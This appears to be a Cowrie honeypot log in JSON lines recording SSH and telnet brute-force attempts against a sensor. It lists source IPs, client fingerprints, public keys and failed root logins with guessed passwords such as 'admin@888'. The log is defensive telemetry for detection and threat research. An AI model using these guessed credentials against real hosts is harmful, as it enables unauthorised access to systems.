{"eventid":"cowrie.login.failed","username":"root","password":"navigator","message":"login attempt [root/navigator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:25.810379Z","src_ip":"43.128.102.61","session":"b1919a0b941d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:27.049883Z","src_ip":"43.128.102.61","session":"b1919a0b941d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":54286,"dst_ip":"10.17.0.5","dst_port":22,"session":"071a3122dcff","protocol":"ssh","message":"New connection: 181.188.176.245:54286 (10.17.0.5:22) [session: 071a3122dcff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:41.639556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:41.644029Z","src_ip":"181.188.176.245","session":"071a3122dcff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:41.809650Z","src_ip":"181.188.176.245","session":"071a3122dcff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soleil","message":"login attempt [root/soleil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:42.503755Z","src_ip":"181.188.176.245","session":"071a3122dcff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:43.672397Z","src_ip":"181.188.176.245","session":"071a3122dcff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55916,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fd153eca086","protocol":"ssh","message":"New connection: 103.27.238.120:55916 (10.17.0.5:22) [session: 0fd153eca086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:45.597216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:45.601248Z","src_ip":"103.27.238.120","session":"0fd153eca086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:45.872205Z","src_ip":"103.27.238.120","session":"0fd153eca086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20072007","message":"login attempt [root/20072007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:46.673588Z","src_ip":"103.27.238.120","session":"0fd153eca086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:47.944187Z","src_ip":"103.27.238.120","session":"0fd153eca086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":59279,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f8e6d7656e","protocol":"ssh","message":"New connection: 45.66.52.41:59279 (10.17.0.5:22) [session: f6f8e6d7656e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:58.841808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:58.846844Z","src_ip":"45.66.52.41","session":"f6f8e6d7656e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:59.073829Z","src_ip":"45.66.52.41","session":"f6f8e6d7656e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"navigator","message":"login attempt [root/navigator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:59.805960Z","src_ip":"45.66.52.41","session":"f6f8e6d7656e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":58918,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0158e616803","protocol":"ssh","message":"New connection: 103.15.222.183:58918 (159.203.135.109:22) [session: a0158e616803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:00.481251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:00.488081Z","src_ip":"103.15.222.183","session":"a0158e616803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:00.744054Z","src_ip":"103.15.222.183","session":"a0158e616803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:01.036566Z","src_ip":"45.66.52.41","session":"f6f8e6d7656e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":55450,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd0de3c10508","protocol":"ssh","message":"New connection: 62.173.38.229:55450 (10.17.0.5:22) [session: cd0de3c10508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:01.061484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:01.066608Z","src_ip":"62.173.38.229","session":"cd0de3c10508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:01.299757Z","src_ip":"62.173.38.229","session":"cd0de3c10508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jonathan","message":"login attempt [root/jonathan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:01.836861Z","src_ip":"103.15.222.183","session":"a0158e616803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@888","message":"login attempt [root/admin@888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:02.883899Z","src_ip":"62.173.38.229","session":"cd0de3c10508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:03.093709Z","src_ip":"103.15.222.183","session":"a0158e616803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:04.401491Z","src_ip":"62.173.38.229","session":"cd0de3c10508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00990605354309,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:13.665327Z","src_ip":"152.42.224.71","session":"d5218c413af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":43878,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac090e0bef4d","protocol":"ssh","message":"New connection: 43.128.102.61:43878 (10.17.0.5:22) [session: ac090e0bef4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:39.495946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:39.500976Z","src_ip":"43.128.102.61","session":"ac090e0bef4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:39.741123Z","src_ip":"43.128.102.61","session":"ac090e0bef4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9874","message":"login attempt [root/9874] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:40.695614Z","src_ip":"43.128.102.61","session":"ac090e0bef4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:41.929745Z","src_ip":"43.128.102.61","session":"ac090e0bef4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.61.247.180","src_port":39071,"dst_ip":"10.17.0.5","dst_port":23,"session":"a45f9c3e637e","protocol":"telnet","message":"New connection: 167.61.247.180:39071 (10.17.0.5:23) [session: a45f9c3e637e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:55.424890Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.92.29","src_port":39478,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f876e8cf29","protocol":"ssh","message":"New connection: 69.175.92.29:39478 (10.17.0.5:22) [session: e9f876e8cf29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.303073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.308282Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.336857Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:33:14:44:4e:72:bc:cd:be:01:ea:a9:9f:86:a1:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEk/l3NTGciTTrxNXLJBRiBtGq+LVctfX0BS49VhpuQGMLPhX39KMHugB600ehMgqFRfDfuSHDfD7uI40r3Q3Az6ru4vyXyv364JvIqDUl1dNSWhkNiATwF4kA/TnYTstNRz1C+1YYz8Fjl70CM7ip7Zt54+5yihi9rscJerlrsoC9O04/dSp4RvKEFUc9pvrk2ArABDOqAsj51mS4tuQ+q2D87ZvM21bGUxl1Fy3wyk843pLBEMmbjAqyhB7JMGhjia7wBBuTVTdtTkWSC8vgcHJTc2zr/uTCVxrJ3Y0fm1/lMyjg/irYKGixxZw490rio8elJ2wlgrg3VT7R4w11","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:33:14:44:4e:72:bc:cd:be:01:ea:a9:9f:86:a1:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.458821Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:33:14:44:4e:72:bc:cd:be:01:ea:a9:9f:86:a1:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEk/l3NTGciTTrxNXLJBRiBtGq+LVctfX0BS49VhpuQGMLPhX39KMHugB600ehMgqFRfDfuSHDfD7uI40r3Q3Az6ru4vyXyv364JvIqDUl1dNSWhkNiATwF4kA/TnYTstNRz1C+1YYz8Fjl70CM7ip7Zt54+5yihi9rscJerlrsoC9O04/dSp4RvKEFUc9pvrk2ArABDOqAsj51mS4tuQ+q2D87ZvM21bGUxl1Fy3wyk843pLBEMmbjAqyhB7JMGhjia7wBBuTVTdtTkWSC8vgcHJTc2zr/uTCVxrJ3Y0fm1/lMyjg/irYKGixxZw490rio8elJ2wlgrg3VT7R4w11","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.463048Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:a9:e5:d2:08:ae:ca:6f:74:2c:d7:17:bc:f1:34:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQOUgf8a8dDTh6bFnU8RB19oUgDX2QORltTp9WK07xBhk/GOKYwAhsTHJGefFCsKkVxEz2gJsODaTgO0uvqvr4hGk1qnRfvSsfrlhJeqvD3EEm+M+t3MnFbijTytNtRjYPby0BJ7LgTFCGP+UZb2WojG1x6jkCPdLMf4yK7S8vh9HgJUH43J6erMdR6K7iqDlQKDydhnhXgUTKgv72SXLGy+zxVHAsX4plcYw/eAkgrWoOpzpsYJbNmY2rMq/jEhWUsRq5m0A7YPFt5cwwfyMEcmFaHgYJbfR58Om10doWaq+RP2wtoo1k3AsZr2ixoUZ62FKgvRXsKZ4Jn5Ym4GEJQaaT8ICcAWmjM8i6ABfa81MaY/jk24jOPuxmD9nz4RygQFyV3QuRBMPE7bOvKGVf52WWhJL7vpbfdvIhiRwlgcTMSEnJ0hr8H8Rtb/Bw7zqAPrKVMysI/x/PPAVsFS6rDAdLfD+vV8axz6J7VFDqsLjtrlA0pNcsomq4YMH3vtSVXuQs2SOi8FgOepxp5PE0SJipEfYrbZGrTG766pDoAAwZxjtGnk216C+YOIsDgRTP3FWrHWohO+1jwKwDkJaLXB+BvNtnNIvhMaR2C1jzC1g67jJB6M1brRNtsl5I8Y2nEmZK5rczRDhCTfpFB4Fwjc1/+1p6SwU5cs7Z273SVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:a9:e5:d2:08:ae:ca:6f:74:2c:d7:17:bc:f1:34:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.495635Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
